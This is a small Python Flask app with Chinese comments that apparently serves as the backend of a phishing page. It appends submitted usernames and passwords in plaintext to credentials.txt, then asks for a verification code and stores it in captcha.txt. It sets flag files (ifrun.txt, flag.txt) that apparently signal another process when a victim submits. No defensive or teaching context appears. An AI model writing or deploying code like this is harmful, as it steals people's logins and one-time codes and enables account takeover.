

from flask import Flask, render_template, request, redirect, url_for

app = Flask(__name__)


# 登录页面
@app.route('/', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        # 将账号密码保存到本地文件
        with open('credentials.txt', 'a') as f:
            f.write(f"Username: {username}, Password: {password}\n")
        with open('ifrun.txt',"w") as f:
            f.write("1")

        # 跳转到验证码输入界面
        return redirect(url_for('captcha'))

    return render_template('login.html')


# 验证码输入界面
@app.route('/captcha', methods=['GET', 'POST'])
def captcha():
    if request.method == 'POST':
        captcha_code = request.form['captcha']
        # 将验证码保存到本地文件
        with open('captcha.txt', 'a') as f:
            f.write(f"Captcha: {captcha_code}\n")
        with open("flag.txt", "w") as f:
            f.write("1")
        return "验证码已提交！"

    return render_template('captcha.html')


if __name__ == '__main__':
    app.run(debug=True,host="0.0.0.0")